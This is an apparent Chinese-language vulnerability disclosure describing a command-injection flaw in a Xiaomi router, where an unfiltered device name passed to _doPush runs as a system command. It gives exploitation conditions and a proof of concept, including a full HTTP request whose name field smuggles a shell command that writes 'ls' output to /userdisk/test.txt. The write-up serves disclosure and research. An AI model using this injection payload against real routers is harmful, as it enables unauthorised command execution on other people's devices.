小米路由器_hookWifiConnect函数RCE漏洞

所有通过Wifi连入小米路由器网络的设备会触发_hookWifiConnect函数,由_hookWifiConnect调用_doPush给管理员推送设备接入消息,由于_doPush函数中未过滤payload->name导致设备名被带入系统命令执行。

payload结构如下:

local payload = {

[“type”] = 3,

[“mac”] = mac,

[“name”] = name

}

利用条件:

1.需要可以访问小米路由器web后台,因为payload->name是DHCP设备表或者数据库查询得到,所以需要先出发数据库更新,把Mac地址与恶意构造的主机名绑定。

2.设备未被数据库库录入过,如果已经录入,payload->name将使用数据库现存的主机名,这个条件可以通过伪造Mac绕过。

3.可以接入小米wifi。

POC:

1.保证终端设备未曾连入过wifi。

2.调用后台API增加Mac黑名单,触发数据库更新

HTTP包如下:

GET /cgi-bin/luci/;stok=xxxxxxxxxxxxxxxxxxxx/api/xqnetwork/manually_add?name=asdfls>/userdisk/test.txtasdf&mac=A0%3a3B%3aE3%3a9E%3a65%3a1B&model=0&option=0 HTTP/1.1

Host: 192.168.31.1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:50.0) Gecko/20100101 Firefox/50.0

Accept: application/json, text/javascript, */*; q=0.01

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

X-Requested-With: XMLHttpRequest

Referer: http://192.168.31.1/cgi-bin/luci/;stok=xxxxxxxxxxxxxxxxxxxx/web/setting/safe

Cookie: somecookie

DNT: 1

Connection: close

3.通过后台删除被Ban的Mac记录,从而使设备能够顺利接入网络,触发_hookWifiConnect。

4.设备接入wifi。

5.在/userdisk/目录生成文件test.txt,内容为系统命令ls的结果

2017-01-16小米安全中心得到响应

文 / Aex
LEAVE A REPLY
loading